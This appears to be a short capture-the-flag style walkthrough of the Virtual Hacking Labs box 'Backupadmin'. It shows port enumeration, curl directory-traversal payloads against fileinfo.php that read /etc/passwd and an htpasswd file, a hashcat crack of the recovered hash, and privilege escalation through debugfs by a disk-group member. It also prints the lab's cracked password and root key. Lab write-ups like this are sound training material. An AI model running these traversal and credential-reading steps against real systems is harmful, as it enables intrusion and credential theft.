Backupadmin — VHL (10.11.1.4)

21/tcp open ftp vsftpd 3.0.3 (Anonymous; backupdirs.txt)

#virtual hacking labs#vhl#walkthrough#boxes#os:linux#tech:password-attack

Backupadmin — VHL (10.11.1.4)

Port Enumeration (10.11.1.4)

🐺 howlsec@kalishell

$21/tcp    open  ftp   vsftpd 3.0.3 (Anonymous; backupdirs.txt)
$22/tcp    open  ssh   OpenSSH 8.2p1 Ubuntu
$80/tcp    open  http  nginx 1.18.0 (file vault app: upload.php, download.php, fileinfo.php)
$139/445   open  netbios-ssn Samba 4 (share "share" = Uploads)
$10080/tcp open  amanda

Directory traversal -> htpasswd crack

The file-vault app (fileinfo.php) is vulnerable to directory traversal (PHP File Vault, exploit-db 40163):

🐺 howlsec@kalishell

$curl 'http://10.11.1.4/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
$curl 'http://10.11.1.4/fileinfo.php?sha1=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fnginx%2Fhtpasswd'
$# apr1 hash for backupuser
$hashcat -m 1600 hash /usr/share/wordlists/rockyou.txt   # backupuser : 0811783909
$ssh backupuser@10.11.1.4

Privesc: disk group (debugfs)

backupuser is in the disk group, so read the raw filesystem:

🐺 howlsec@kalishell

$debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
$debugfs:  cat /root/key.txt      # dhj289mlk832GB30fdsd